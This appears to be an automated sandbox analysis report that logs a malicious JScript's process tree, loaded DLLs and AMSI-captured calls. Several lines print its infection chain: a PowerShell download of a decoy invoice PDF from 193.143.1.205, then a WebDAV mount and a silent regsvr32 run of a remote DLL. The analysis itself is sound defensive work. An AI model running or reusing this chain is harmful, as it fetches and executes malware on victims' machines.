Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1772,i,9263835075229327552,11268087022139543070,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1772,i,9263835075229327552,11268087022139543070,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2526.js.csv");ITextStream.WriteLine(" entry:8438 f:tayai");ITextStream.WriteLine(" exec:2 f:tayai");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
